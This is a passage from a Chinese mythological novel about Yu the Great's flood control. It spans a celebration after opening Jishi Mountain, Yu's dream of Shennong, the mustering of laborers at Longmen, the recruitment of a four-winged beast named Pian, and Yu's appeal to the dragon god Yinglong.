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空气里弥漫着烤肉的焦香和黍米饭的温热气息。弃和仓实、百草立下了大功——他们不仅妥善分配储存的粮食,还组织人手配合伯益:由伯益指引方向,岳卫的精锐深入山林,猎到了野鹿和山羊;又从新疏通的黄河支流里,捕到了肥美的鱼虾,让这场庆功宴有了实在的内容。民夫和士兵围坐在一起,不分彼此,大口吃肉,大口喝着野果酿的淡酒。连日来的艰辛、恐惧和疑虑,全都化作了此刻的欢声笑语。有人敲响了皮鼓,苍凉的笛声呜咽响起,不知是谁先起了头,粗犷的歌声传了开来,汇成一片: “(领)嗨呦——开山啰——!” (和)嗨呦!嗨呦! (领)大河听话啰——!” (和)嗨呦!嗨呦! (领)伯禹领咱啰——!” (和)嗨呦!嗨呦! (领)平水土啰——!” (和)嗨呦!嗨呦!” 很多人围着篝火跳起简单的舞蹈,影子投在岩壁上拉得很长,像是在和古老的山灵一起起舞。 禹、砺、羲青坐在稍远离喧嚣的高地上,共饮一皮囊水,望着下面欢腾的人群。 “成了……”砺抹了把嘴,黝黑的脸庞被火光映亮,他重重捶了一下地面——还是那副豪迈的样子,眼里却藏不住激动,“这鬼门关,终于让咱们撬开一道缝了!” 他忽然想起什么,转向羲青,语气变得关切实在:“对了青儿,前两日我让山魈和木鹞寻了些平整兽骨,嘱咐他们仔细打磨光滑,给你刻字用。方才我来之前特意问过,说是已经磨好,晚些就给你送去。记得你说过,骨片还得穿孔,才好用麻绳编联成册。” 羲青闻言,望向砺:“多谢你,砺。总是为我考虑得这般周到。这些兽骨来得正是时候,今日开凿积石山的诸多细节,引动地火的关窍,都需尽快记录下来。” 她随即目光转向禹,眼神里带着一丝未散的后怕与深深的钦佩:“说起引动地火……今日地火奔涌、岩层崩裂的那一刻,我真以为……” 禹知道她没说完的话,接过话头:“以为我控不住,反为地火噬?”他摩挲着身边的神农石耜,上面的余温好像还没散,“非龙君寒息冷热交攻,碎山岩,后果不堪想。天地之力浩瀚,我等所能,不过顺势寻机。”禹顿了顿,望向黑暗中依旧轰鸣的黄河,“也多亏了它,最终选择……沟通,而非死斗。” 夜渐深,高地下的歌舞声也渐渐歇了,只余篝火噼啪作响。一阵带着寒意的山风吹过,禹感到深深的疲惫如同潮水般涌上,却也带来了异样的清醒。他站起身,对砺和羲青道:“不早了,你们也早些休息。明日还有诸多事宜。” 说罢,他转身,独自走向那座属于自己的简陋帐篷。 将喧嚣与灯火留在身后,他掀帐而入。极度的疲惫反而让他思路清晰。他躺下,听着帐篷外黄河奔流不息的声音,那声音不再充满威胁,而是满含生机。成功的喜悦慢慢沉淀,一股深切的思念悄悄浮了上来。他摩挲着胸前女娇送的温润白石埙,仿佛能感受到她的温度。她此刻在涂山做什么?是否也在望着这轮月亮?是否知道自己在积石山取得了第一场胜利?万千思绪,最终化作一声叹息,融入了黄河的流水声中。 而在另一顶帐篷外,砺和羲青没有立刻散开。秋夜的星空又高又远,清澈透亮,银河横亘在天上,星星像碎钻一样洒满天穹。远离了篝火的喧嚣,四周只剩下风声和水声。 “你看,是帝车星!”羲青抬起头,轻声说道,她的侧脸在星光下显得格外柔美。 砺顺着她的目光望去,手指不自觉地朝星空虚点:“可不是么?入秋后斗柄西指,帝车方出云气——你瞧那斗魁四星,方方正正,倒真像载天地秩序车驾。” 羲青听了,若有所思地说:“帝车定方位,天地本有秩序,洪水再凶,也乱不了章法。跟司空,定能引洪归道,让天下安澜。”她的声音里透着罕见的笃定,可心底却没有这么确信——她深知前路艰险,禹虽然英明,却不是真神,成败难料。可她必须相信:如果连她都不信,要是没人相信,那希望就真的熄灭了。这份信念是她在心里强固的支柱,也是她必须撑起的明天。 砺侧头看着身边的女子——这一路走来,她有智慧、能冷静,关键时刻从来不会退缩,是值得托付生死的伙伴。星辉洒在她沾着尘土的发丝上,像是镀了一层清辉。连日来并肩作战,把生死交给对方,再到此刻难得的安宁,一种难以言说的热流在砺心里涌动,比篝火更灼热,比美酒更醉人。 “青儿。”砺的声音有些沙哑。 羲青闻声转过头,眼里还带着仰望星空时的微光。她还没来得及开口,砺已经俯身,带着不容置疑的热情,和压抑了许久的渴望,吻上了她的唇。这个吻里满是泥土、汗水和烟火的气息,却无比真挚热烈。羲青微微一僵,眼里闪过一丝惊愕,但随即闭上眼,手轻轻抓住砺坚实的臂膀,默许并回应了这个突然到来、却仿佛早已注定的吻。星空在上,黄河在下,见证着这场洪荒治水岁月里,最质朴也最炽热的真情。 峡谷深处的幽潭下,敖溟盘踞在新整理好的巢穴里。幼龙们好像感觉到了外界的变化和水流的顺畅,不再像以前那样焦躁,已经沉沉睡去。敖璃轻轻游到丈夫身边:“他们……好像真的做到了,而且……遵守了承诺。” 敖溟沉默着,金色的眼睛透过水体,望向人类营地方向那已经暗淡的篝火余烬。他能感觉到黄河水向东奔流的欢快——水里蕴含的毁灭力量正在减弱,变得有序起来。那个人类……那个叫禹的人类,他手里的玉圭、引来的地火,还有那些看似荒唐、最终却兑现的承诺…… “……暂……且……”敖溟低沉的声音在水里荡漾,带着一丝还没完全散去的警惕,可更多的是一种复杂、连他自己都说不清的情绪,“……再……看……下……去……” 他盘踞起来,把子女护在怀里,闭上了巨大的眼睛。洞壁上,人类种下的发光苔藓闪烁着微弱的柔光,驱散了一丝百年来盘踞在这里的黑暗与阴冷。 然而,在这初步成功的喜悦与安宁之下,一缕极其细微、透着不协调的怨毒气息,却从崩裂的积石山岩缝深处,随着地火残留的缕缕黑烟,悄悄飘了出来。它没有形状,却冰冷刺骨,满是毁灭与憎恨。 它缠绕着、低语着,像是在寻找可以依附的宿主,又像是在挑拨着某种欲望。 “……疏……导……?……呵……呵……” “……违……背……天……道……的……蠢……东西……” “……堵……才……是……天……性……分……裂……才……是……永……恒……” “……等……待……时……机……” 这缕黑气飘荡着,最终像是找到了方向,朝着南方——那传闻中曾信奉水神共工的部落聚居地,慢慢飘去。 积石峡的第一场胜利虽然到来,可真正的挑战,或许才刚刚开始。禹选择的这条“疏导”之路,注定要面对来自自然、异族、人心,甚至远古神祇怨念的重重考验。 7. 第7章:龙门鏖战 舜摄政四年,禹治水第二年春。 平水土之师导河积石之后,禹履行诺言,厚赏了从附近州郡征调而来的民夫,发放了归途所需的食粮。这些归心似箭的汉子们,带着开凿天险的传奇经历和与有荣焉的自豪感,拜别司空禹,三五成群,踏上了返回各自家园的归途。营地里曾鼎沸的人声与密集的炊烟,顿时消散了大半,只余下平水土之师的核心队伍以及少量自愿留下的熟练工匠,显得空旷而静谧。 核心团队并未停歇,禹即刻下令拔营,准备沿黄河东岸向下一个更为著名的险隘——龙门山进发。自积石至龙门,虽同属黄河上游,然山重水复,路途险远。即便一切顺利,亦需近两月的艰苦行程。车队辎重繁多,行进缓慢,更多的仍是依靠双脚丈量大地。 队伍抵达龙门山地界,进行最后一次扎营休整。 “司空,伊水之困,甚于洛水。龙门山体浑然天成,坚不可摧,其势……绝非人力所能开凿。”夜晚,在禹的营帐中,羲青声音凝重,指尖轻触星盘上那片代表龙门山的、异常凝实的光域。 禹目视星盘,掌心覆于山形光域上:“天工虽固,民心更坚。山不开,水无归处。” 伯益闭目凝听帐外风声,忽睁眼:“鸱龟可辨岩隙,鹏鸟可衔碎石。若借群力,或有破局之机。” 砺蹲身以石匕划地成线:“山石虽硬,非无破法。火灼水淬,循脉而凿,可解其顽。” 禹霍然起身:“耳闻不如目见。明日寅时,携测具入山。凡所疑处,皆记其形。” 次日一早,禹当即率领伯益、砺等核心成员,亲赴龙门山勘察。但见山体壁立千仞,岩色黝黑,质地坚硬异常,仿佛自亘古以来便是这横亘天地的冷漠巨人,无情地阻挡着水的去路。山脚下,伊水积聚成的湖泊浑浊不堪,死气沉沉,偶有被淹没的树梢探出水面,犹如溺死者绝望的手臂。 砺以手抚摩那冰冷如铁、毫无缝隙的岩壁,凭借其十年跋涉积累的开山经验断言:“司空,此山岩之坚,远超吕梁。即便集结所有民夫,耗尽青铜钎凿,辅以火烧水激之法,恐亦难动其分毫,徒然耗费人力物力。” 禹凝望着这天地造化的雄关险隘,眼中却燃起更为坚定的光芒:“所言极是。龙门天险,非人间之力可破。需借非常之力。” 夜深人静,禹独坐营帐之中,面对铺开的龙门山势图,眉宇间凝结着化不开的忧思。日间勘察的结果比预想更为严峻,那山体之厚实、岩质之坚硬,远超以往任何工程。即便汇聚万人之力,耗时数载,恐怕也只能凿开表层。而伊水背后万千等待救援的生灵,却等不了那么久。 一股前所未有的无力感悄然攫住了他。自继承父亲未竟之志以来,他跋涉千山万水,勘测地形水势,发明疏导之法,汇聚众人之心力,一路虽艰险异常,却总有其方向与路径。然面对这浑然天成的龙门巨障,他首次深切感受到人力之渺小,天道之威严莫测。 疲惫如潮水般涌来,禹不知不觉伏于案上沉沉睡去,手边仍放着那柄从不离身的耒耜——以神农氏传世神木精心制成,据传蕴藏着炎帝的一丝神力。 朦胧之中,他仿佛见那耒耜散发出温润而祥和的青色光晕。光晕渐盛,缓缓凝聚成一道头生牛角、身披麻衣、手执嘉禾的慈祥而威严的身影。其目光如大地般深厚,充满了对世间万物的悲悯与关怀。 “姒禹……”身影开口,声音如同来自大地最深处的回响,厚重而悠远。 禹于梦中惊醒,却又仿佛仍置身梦境:“您……是炎帝神农氏?” 身影微微颔首:“见汝为天下水患忧劳至此,殚精竭虑,吾心甚慰。龙门之困,非汝之过,实乃天地造化之功,非凡俗人力可破。” “恳请炎帝指点迷津!”禹急切恳求道。 “天地之力,需借天地之力方能化解。”炎帝目光深邃,仿佛穿透了无尽时空,“汝可南行,往那大泽之地,寻吾师应龙。吾师曾助女娲氏炼石补天,驾车运送五色神石,功德无量。昔日祂化名‘吉’,降世教导吾等稼穑医药之道,九天仙灵皆倾耳恭听其训示,尊为众神之师。虽因助轩辕黄帝讨伐蚩尤,杀伐过重,戾气缠身,故而蛰伏南方静修,然其本性仁德,始终心系苍生。若汝能以至诚之心往请,陈明利害,或可打动于祂。” “应龙……”禹喃喃低语,心中震撼。 “告知于祂,”炎帝的身影开始逐渐淡去,声音却依旧清晰,“便说是故人神农氏恳请祂再履凡尘,借此良机了却一段古老因果,疏导天地之郁结,亦疏导其心中之块垒……” 话音未落,青光倏然收敛,炎帝身影彻底消散,帐中只剩下那柄古朴的耒耜静静横于案上。 禹猛然惊醒,帐外天色已微明。他低头凝视手中的神农耒耜,梦中情景历历在目,一股坚定而磅礴的力量自心底油然升起。 翌日清晨,翌日清晨,禹召集平水土之师所有核心成员,沉声宣布自己的决断: “砺,”他首先看向最信赖的战友,“你持我颛顼玄圭,即刻着手征调冀、雍、豫三州民夫,先行疏导壶口附近黄河河道。”说着,他将那枚温润而威严的黑玉圭郑重递出,却又在空中稍作停顿,目光深邃地注视着砺: “记住,此次征调,需与四岳密切协同。你持我符信,速与四岳派出的使者汇合——他们已依定制,先行联络各部,宣示王命,厘清了各部落丁壮份额与行进路线。你要做的,是凭借玄圭之威,完成最后的点验与督催,确保民夫如期而至。” 他将玄圭稳稳放在砺手中,声音凝重:“四岳在后方统筹全局,你在前方执令而行,前后呼应,方能成事。此举一可稍解汾水之压力,二可安顿民心、集结力量,三来……亦为后续非常之举预先奠定基础。” 砺单膝跪地,双手高举接过玄圭,肃然应道:“砺明白!必谨遵司空之命,与四岳使者精诚协作,不负所托!” “伯益,”禹目光转向那位精通鸟兽言语、目光灵动的虞官,“你曾言及,西北景山深处,有异兽名曰‘酸与’,形似蛇而生四翼,力大可搬山。疏通河道,运输巨岩,正需如此神力。我欲请你与巫盼一同前往,诚心寻访,若得允准,恳请其出山相助。此事关乎工程成败之效率,至关重要。” 伯益眼中闪烁兴奋与重任在肩的光芒,拱手朗声道:“伯益明白!定当竭尽全力与它沟通,陈明利害,邀其共襄此救世善举!”巫盼亦上前一步,沉稳应诺:“巫盼愿往,必以最敬之巫祝古礼待之,以示我等赤诚。” “羲青,你留守此地,以星盘密切监测地脉水气之细微变迁,辅助砺定位古河道之关键节点,并详绘此间山川形势图谱。” “皋陶,律令与秩序,民夫调度之纠纷,便劳烦你费心维持了。” “弃,后勤粮秣、工械器具之补给,乃工程之命脉所系,万万不可有所短缺。” 分派既毕,禹目光最终投向南方,语气斩钉截铁,不容置疑:“而我,需亲往南方大泽,寻访一位上古之神——应龙。唯祂之洪荒伟力,方能劈开此龙门天险,从根本上化解伊水之困。” “应龙?”众人闻言,无不面露惊诧敬畏之色。那位曾助黄帝斩杀蚩尤与夸父、致南方多雨的上古龙神,其赫赫威名与无边神威同样深入人心。 “司空,”羲青美眸中难掩忧色,“应龙性烈威严,且昔日冀州之野那场大战,杀伐过甚,其自身恐也积郁深重怨戾,此行……吉凶难测啊……” “正因如此,我才让伯益同时前往寻找酸与。治水之道,精义在于疏导,而非强堵隔绝。”禹语气沉静却蕴含着无可动摇的意志,“此疏通,既针对江河湖海,亦针对恩怨纠葛。伊水之困,源于天地伟力,亦纠缠上古因果。若能请动应龙,非但可开龙门,或许亦能借此良机,疏导一段千年之宿怨。我意已决。” 砺行事雷厉风行,在接到禹的明确指令后,立即着手选派岳卫中最为精干的炎羽、鸣镝等锐士,准备执行传令重任。然而,与以往单纯的军令传达不同,此次征调涉及三州诸多部落,牵涉甚广,他深知必须与坐镇后方的四岳紧密协同。 在砺的协调下,一套高效的运转体系迅速启动:四岳凭借其沟通四方部落的威望与成熟的联络网络,负责统筹全局,依据各部落丁壮多寡、距离远近,迅速拟定了详尽的征调份额与行进路线,并提前派出信使进行初步接洽,宣示王命,安抚人心。而砺麾下这些精锐锐士,则承载着更具象的权威与更紧迫的使命。他们轻装简从,怀揣着特殊的急令符节,翻山越岭,日夜兼程,作为禹与四岳意志的直接延伸,奔赴各指定部落,进行最终的点验与督催。 这符节以玄玉为材,正面铭刻着代表禹之身份的“神农石耜”徽记,背面则由颛顼玄圭烙下了一道蕴含神圣气息的独特痕印。尤为重要的是,符节一侧还新近镌刻了四方山岳的简形图案,象征着此次行动获得了四岳的全力支持与协调。此符一出,既代表了司空禹不容置疑的治水号令,也彰显了四方诸侯协同一致的权威,令各部首领不敢怠慢。 在四岳卓有成效的先期铺垫与砺麾下锐士持符节的高效督催下,旬月之间,来自三州的五千余民夫,如同无数涓涓细流汇入巨川,陆续抵达龙门黄河之畔。他们大多衣衫褴褛,面黄肌瘦,脸上深刻着水患与饥荒留下的苦难痕迹,眼中交织着微弱的期盼与深深的疑虑。人群中,经验丰富的老石匠敦伯默默握紧了手中的凿子,而年轻力壮的阿耒则不安地望着咆哮汹涌的河水,低声对身旁同伴道:“瞧这水势,比俺们村口的猛多了……这能成吗?” 旁边一个满脸麻子的汉子嗤笑一声,语带嘲讽:“鲧治水九年,羽渊的水还没干呢!他儿子就能行?玄圭?玄圭能当饭吃还是能劈开山?” 砺登上临时搭建的高台,高举那枚颛顼玄圭。刹那间,玄圭散发出温润而威严的光芒,一股无形的力量仿佛悄然抚平了五千人的嘈杂私语。更奇妙的是,当砺开口时,他的话语竟能同时被来自不同部落、操着不同方言的民夫清晰地理解于心——这正是玄圭化异声为心语的神奇伟力。 “各位父老兄弟!”砺的声音沉着有力,穿透萧瑟秋风,“我知你们心中疑虑!二十年前,我砺,也曾站在羽山治水的民夫队伍里,眼睁睁看着洪水吞没我的家园,夺走我的至亲!” 人群渐渐安静下来,无数双眼睛聚焦于高台上那道魁梧而伤痕累累的坚毅身影。 “我知道,你们背井离乡来到这里,不是因为相信什么天命鬼神,而是因为你们的田地还在水下!你们的亲人还在挨饿!你们和我一样,受够了这该死的洪水!”砺的声音陡然提高,充满了悲愤与感染力,“我亲眼见过洪水冲走屋舍,淹毙牲畜,毁灭我们辛苦耕种了一季又一季的粮田!我亲眼见过孩子们因饥饿而哀嚎,老人们因失去一切而绝望!” 民夫中传来阵阵低语与哽咽,许多人低下头,用力抹去眼角的泪水。阿耒紧紧攥住了拳头,指甲几乎嵌进掌心。 “但是今天!”砺高举玄圭,神光映照着他坚毅如石刻的脸庞,“我们手中所持,乃是圣王信物!它不是能凭空变出粮食、劈开大山的法宝!但它代表着从颛顼圣王到舜的庄严承诺——根治水患,还我河山!它告诉我们,帝都没有忘记我们!” 他目光如炬,扫视众人:“这黄河之水,不仅关乎冀州存亡,更关乎天下苍生!我们要开辟的,不仅是一条水道,更是万世太平之路!今日我等每一凿、每一铲,流下的每一滴汗,甚至每一滴血,都是为了我们的子孙后代,再也不受这水患之苦!为了我们的父母能安享晚年,为了我们的孩子能健康成长!” “说得对!”“为了娃儿们!”“干了!”人群中爆发出山呼海啸般的呼喊,先前那质疑的麻脸汉子也涨红了脸,挥舞着手臂跟着嘶喊起来。 老石匠敦伯颤巍巍地举起手中的凿子,声音沙哑却异常坚定:“老夫凿了一辈子石头,今日,愿为子孙后代,凿出一条生路!” 青年阿耒也激动地跳起来喊道:“俺这条命就交给司空了!愿跟随司空,死战洪水!” 砺见民心已可用,立刻趁热打铁,宣布分工编队。他将民夫按特长分为凿石之众、运土之众、疏瀹之众、营食之众、浣濯之众等。岳卫锐士则分作巡防之队、工卫之队、应急之队,各司其职又相互策应。 弃带领着心思缜密的岳卫“仓实”和善于辨识植物的“百草”,专司营食事务。他们将神奇的祝余草捣碎制饼,虽口味苦涩,但小小一片便可令人数日不饥。偶尔猎得野猪、山兔,便精心烤制分食,稍作改善。弃总是亲自监督分发,确保公平,尤其照顾老弱妇孺。 伯益驯养的那队苍鹰成了高效的传令兵与运输队。这些猛禽迅捷无比,能及时将弃准备的食饼与少量肉□□准投送至偏远的工段,解决了粮食补给的大难题。 工程迅速展开。砺展现出卓越的组织才能,日夜巡行在各队之间。时而在岩壁上为敦伯等老石匠指点开凿角度,讲解从羌人那里学来的“火烧水激”之法;时而在河岸边指导民夫打桩加固堤岸。 “嘿——呦!嗬嘿!龙门口呦,嘿!万夫开呦,嗬!为子孙呦,嘿!劈山开路呦,嗬!”粗犷有力、节奏鲜明的号子声再次响彻峡谷,与叮当的锤凿声、嘹亮的号令声、奔腾的水流声交织成一曲雄壮而艰苦的劳动交响。人们用石斧、铜钎、木杠、藤绳这些相对原始的工具,对抗着巍巍山峦,每一步都异常艰难,汗水浸透衣背,血泡磨破又再生,但眼中已燃起希望的光芒。 羲青时常静静立于高处,星盘在她纤手中缓缓流转,默默观察记录着山川地势的细微变化与工程进展。她特别留意到砺的一举一动,那个曾经沉默孤毅的少年,如今已能号令千人,统筹大局,眉宇间多了几分沉稳与不容置疑的权威。有时,她会指向某处岩壁,清声道:“砺,此处岩层似有异样,星盘显示其下或有水脉相通,开凿需格外谨慎。”砺便会仔细观察,点头称是,立刻调整方案。两人默契渐深。 皋陶则带着那象征律法的北斗刑圭,巡视工地,处理因工具分配、工段划分而产生的细小纠纷,冷峻的面孔与公正的裁决,确保了工程的秩序与效率。他的存在,本身就是一种威严的警示。 伯益与巫盼领命后,一路向西北景山行进。伯益凭借与鸟兽与生俱来的天然亲和力,从林间跳跃的松鼠、空中盘旋的飞鸟那里,大致确定了酸与可能出没的核心区域。巫盼则手持那枚蕴含灵性的玄圭碎片,以其巫祝的灵觉,感应着山中异常灵气的流动与汇聚之处。 景山深处,古木参天,雾气氤氲,弥漫着原始而神秘的气息。二人艰难跋涉,终于在一处飞瀑轰鸣、幽潭深碧之地,感受到了那股强大、奇异且略带不安的气息。 一阵尖锐却并非完全刺耳的啸声陡然响起,震得周围树叶簌簌落下!只见数道巨大的身影自潭边密林深处、雾气缭绕处接次显现——皆是蛇身蜿蜒、四翼轻舒、目如赤焰的异兽酸与!它们警惕地凝视着两位不速之客,周身散发着令人心悸的威压与那股若有若无、扰人心智的力量,如同一道无形的屏障。 伯益示意巫盼保持镇定,自己上前几步,以一种空灵古老、贴近自然韵律的音节,向这群古老的守护者传达善意与来意:“尊敬的森林守护者们,伟大的酸与一族,我们来自遥远的黄河之畔,怀揣敬意而来,绝无冒犯之心。天下正遭水患肆虐,万千生灵饱受其苦,我们欲疏通水道,却遇天险阻隔,需搬动山石巨岩。久闻尊族拥有移山之神力,特来恳请相助,此乃为拯救万物生灵之大义……” 他的话语尚未完全落下,那群酸与之中已起骚动。大多数酸与赤红的眼中流露出更深的警惕、疑虑甚至是抗拒,它们发出低沉警告的嘶鸣,巨大的身躯下意识地向后缩退,没入更深的雾气与林影之中,显然对外界、对人类抱有极深的不信任与戒心,不愿沾染丝毫麻烦。 然而,在这普遍退缩的群体中,却有一头酸与的反应与众不同。它没有立刻后退,反而在原地微微歪着头,赤焰般的双眸中闪烁的不是恐惧与排斥,而是强烈得无法掩饰的好奇与探究之光。它甚至小心翼翼地、试探性地向前滑行了一小段距离,四翼轻轻颤动,似乎想更清楚地观察伯益和巫盼,聆听他们的言语。 伯益立刻注意到了这只独特的酸与。他维持着温和坦诚的姿态,目光与它好奇的视线相接,继续以那种古老的音节说道:“我们深知尊族之威能,亦知你们的出现可能带来的影响。我们并非祈求奴役,而是渴望友谊与互助。我们愿以巫祝之法,暂时平息那可能惊扰世人的气息,令您能安心相助,而不必担忧后果……” 巫盼适时上前,举起玉璧,神情肃穆地吟唱起一首古老的请神咒文,并跳起了舒缓而庄严的舞步。其声空灵悠远,似与山林之气共鸣: “赫赫兮景山, 幽幽兮深潭。 云渺渺以承翼, 风飒飒而披鳞。 承皇天后土之德兮, 奉万灵共生之约。 今有水厄,肆虐四方, 伤我稼穑,没我家邦。 感尔灵明,通乎自然, 力可搬山,德能载物。 非以仆役,愿以友称, 非以威逼,愿以礼请。 谨以清泉为醴, 撷此兰桂为香。 玄圭昭昭,通我心言, 巫舞虔虔,达我意诚。 愿息尔虑,平尔息, 暂敛华光,偕行四方。 导洪流兮归大壑, 复朗朗兮天地清!” 那只好奇的酸与眼中的警惕进一步消融了。它感知到的并非贪婪与恐惧,而是毫无伪饰的真诚请求与发自内心的敬意。它振动四翼,在空中优雅地转了个圈,发出清越如铃的鸣叫,与其他退缩的同族形成了鲜明对比。 伯益心中了然,他知道,这就是他们要找的伙伴。他专注地凝视着这只独特的酸与,将全部的诚意与请求通过目光与古老的音节传递过去。 酸与歪着巨大的头颅,赤焰般的眼中闪过一丝惊讶与好奇,似乎很久未曾遇到能直接以心念与之沟通的生灵了。它发出悦耳却带着几分疏离感的声音,如同清泉敲击玉石:“水患?与吾何干?人类……总是自相纷争,亦为世间带来纷扰与麻烦。” 伯益继续以那古老的兽语耐心解释,声音柔和而充满真诚:“非为带来麻烦,实为拯救万千生灵于洪水之中。无数百姓与飞禽走兽因洪水流离失所,田庐家园尽毁。我们欲疏通水道,导洪入海,却遇龙门天险阻隔,需搬运万千巨石。久闻尊驾拥有移山之神力,特来恳请相助。此非为一己之私利,实为万物之生机。”他描绘着治水的宏大景象与意义,以及已有野牛、野猪、苍鹰等通力协作、互帮互助的情景,“那里并非只有人类,还有许多伙伴,各展其长,为了同一个目标而努力。” 酸与眼中的警惕与疏离渐渐化为浓厚的好奇与深深的思索。它感知到的并非贪婪与恐惧,而是毫无伪饰的真诚请求与发自内心的敬意。它振动四翼,在空中优雅地转了个圈,发出清越如铃的鸣叫。 它以古老的语言悠悠道来:“山中岁月,静谧却也漫长,有时……确也感到几分寂寥。吾愿意相助,但需言明,事后必须还吾自由之身,吾不愿被束缚,只愿作为朋友相助。” 伯益大喜,立刻郑重承诺:“当然!您是我们诚心请来的朋友与帮手,绝非奴仆!待水道疏通,天下稍安,来去皆由尊意,绝无阻拦!” 酸与似乎仍有顾虑,声音低沉了些:“只是……吾一族身负异能,只要出现于某地,该地之人即会心智失常,变得残暴,彼此攻击,至死方休……吾实不愿见此惨剧因吾再生。” 巫盼温言道:“此事我等已有考量。近日寻得一味罕见草药‘雪魄葛’,以甘泉煎汁,可引草木精元平抚凶煞之气。更将行禋祀之仪,焚祝辞以通明神灵——若上苍垂悯苍生疾苦,允日月星辉调和脉息,则能缓释您身上神智混沌之患,既可鼎力共襄治水伟业,亦保乡邻不受牵累。” 酸与闻言,赤焰之目亮了几分:“果真?若如此,我便再无顾虑了!我族之所以隐遁此深山,非是性情暴虐,实是不想无意间与人为害,酿成惨剧。对了,”它声音轻快了些,“我的名字叫‘翩’,很高兴遇见你们!” 巫盼与伯益带着酸与来到山间清泉旁。伯益用石铲就地挖出浅坑,三两下便架起土灶。巫盼取出布囊中的‘雪魄葛’,雪白根须浸入泉水搓洗时,竟泛起星星点点的蓝光。他将药草丢进黑陶罐,舀了半罐活水,小火慢炖到药汁泛青。 巫盼赤脚踏上旁边一块青石,桃木枝蘸了药汁往空中一甩挥洒四方,随即旋身起舞,同时口中念念有词: “山灵共鉴—— 日耀东,涤凶光。 月照西,抚狂恙。 星凝天,安万邦。 地脉稳,济河殇。” 巫盼念完,抄起陶罐给酸与灌药。趁着青烟未散,他掏出玉璧往酸与脑门一拍:“借山河清气,镇!” 这只名为“翩”的酸与突然扑棱四翅,发出泉水叮咚般的鸣叫。它绕着两人飞了三圈,翅膀扇起的山风带着药草清香,眨眼化作一道青影直冲云霄。伯益见状迅速摘下一片栎树叶含在唇间,三短一长的啸音刚落,林间陡然响起两声清唳——两只玄翎雄鹰破云而至,铁灰色的利爪刚触地便伏低脊背。巫盼还待收拾陶罐,伯益已抓住他后领跃上鹰背:“老巫莫磨蹭,这家伙不知龙门山所在,若偏了河道岔路,咱们哪还追得上引路?”话音未落,两头巨鹰振翅掠起的气流已掀翻土灶,载着二人化作黑点急追青影而去,唯剩半截未燃尽的柴枝在泉边明明灭灭。 禹携数名精锐岳卫,依据梦中炎帝指引的方位,一路向南,跋山涉水,穿越人迹逐渐罕至的荒原,最终深入那片弥漫着原始气息的远古雨林。这里仿佛是世界的边缘,古木遮天蔽日,粗壮的藤蔓如龙蛇般缠绕攀附,瘴气弥漫,雨雾终年不散。林间寂静得可怕,唯有雨水持续滴落树叶的嗒嗒声,以及从森林最深处传来的、某种深沉、缓慢、如同大地脉搏般的呼吸声,令人心生敬畏。 他们艰难前行,披荆斩棘,终于穿越最后一道密林屏障,眼前豁然开朗,出现一片广阔无垠、湖水幽深如墨的巨大湖泊。湖面平滑如镜,倒映着铅灰色的低沉天穹和周围沉默耸立的黑色山影,死寂之中却蕴含着难以言喻的磅礴力量。湖心最深处,隐约可见一个庞大无比的阴影盘踞着,即便处于沉眠之中,其所散发出的古老威压也几乎让随行的精锐岳卫们心神摇曳,难以自持,那是生命层次上的绝对差距。 禹示意岳卫们留在林边警戒,自己独自一人稳步走到湖边。他调整呼吸,凝聚全部精神,以一种蕴含着至诚敬意与内在力量的语调,向湖心发出询问:“后辈姒禹,为解天下水患、拯救苍生之事,冒昧前来,求见应龙尊神!” 声音在空旷浩渺的湖面上回荡,穿透重重雨雾。 良久,湖心那庞大无朋的阴影动了。湖水无声地向两侧分开,仿佛有无形巨手拨弄,一颗巨大的、覆盖着青黑色厚重鳞片、嶙峋如山的龙首缓缓探出水面。它的双眼如同两轮熔金的日月,开阖之间,光芒流转,闪烁着千年积蕴的无上智慧与深沉沧桑,更有一丝不易察觉的、深藏的疲惫与冷漠。龙须飘动,带起细密的水雾,每一滴都仿佛重若千钧,蕴含着莫测神力。 “凡人……”应龙的声音低沉轰鸣,并非通过空气传播,而是直接在所有聆听者的心底响起,带着一丝被打扰永恒沉眠的不悦与天生的、令人臣服的神威,“汝等气息之中……沾染着北方战场的硝烟与血腥,还有……颛顼和神农氏的味道……皆是令人不快的回忆。缘何踏足吾之沉眠净地?” 面对这自上古存续至今的龙神,即便是身经百战的岳卫也不由自主地感到灵魂战栗,心生无限敬畏。禹却深吸一口气,压下心中波澜,毫无畏惧地迎上应龙那熔金般的、仿佛能洞穿一切灵魂的目光,上前几步,躬身行了一个庄重无比的大礼,声音清朗而坦诚,不卑不亢: “后辈姒禹,奉舜之命,总理天下水患。冒昧打扰尊神沉眠,万望恕罪。实因北方水厄肆虐,苍生倒悬,有一处名为龙门的天险,非人间之力可破,亿万生灵危在旦夕,特来恳请尊神以无上伟力相助。” “水患?”应龙眼中闪过一丝复杂金光,仿佛尘封万古的记忆被悄然触动,“又是水患……千载之前,吾亦曾应人所请,为人间治水……而后,便是那场席卷天地、无尽无休的战争……蚩尤……夸父……冀州之野……”它的声音里带着一丝几乎无法察觉的波澜,那场惊天动地的大战记忆显然并非愉快,甚至充满了沉重与厌倦,“世间洪水,循环往复,此乃天道运行之理,与吾何干?吾已倦了。” 禹深知空泛的大义难以打动这位历经万古沧桑、见证过无数兴衰成败的古神。他目光灼灼如炬,言语直指核心:“禹此番冒死前来,非仅因尊神拥有移山倒海、开辟乾坤之无上伟力,更因一段缠绕于那片土地、千年未了的因果。如今堵塞伊水、致其成患、生灵涂炭之地,正是昔日冀州之野战场之核心一隅!伊水积聚,怨灵哀嚎,那片死水之下,沉沦着无数因当年那场大战、或因后续洪水蔓延而殒命的亡魂!他们的怨念,千年不散,与地脉深深纠缠,使水患愈加深重,戾气循环滋生。” 应龙巨大的瞳孔微微收缩,沉默了片刻,湖面雾气剧烈翻涌,显示其心绪并非平静。 禹继续道,声音沉痛而恳切,字字发自肺腑:“尊神当年奉黄帝之命讨伐蚩尤,蓄水攻之,乃战争之道,各为其主,非尊神之过。然力量所致,因果必然相随。如今那片土地水患深重至极,怨气凝结如实质,其中未必没有当年那场惊天战事之余波所催化。禹恳请尊神,此行并非仅仅跪求您出手开山,更是诚挚祈愿尊神能借此莫大善举,疏导那积郁千年的水厄与怨戾,给予无数亡魂以解脱与安宁,给予那片饱受创伤的土地以新生与希望……或许,亦能借此机缘,疏导尊神心中那份沉甸甸的过往与块垒。” “疏导……”应龙重复着这个词,熔金般的龙目中闪过一抹深刻的异色,“汝……倒真有些意思,见识不凡。不似寻常祈愿者只知跪求神力,竟懂得这般天地至理。是何人指引汝来此?竟能窥见吾心结所在?” 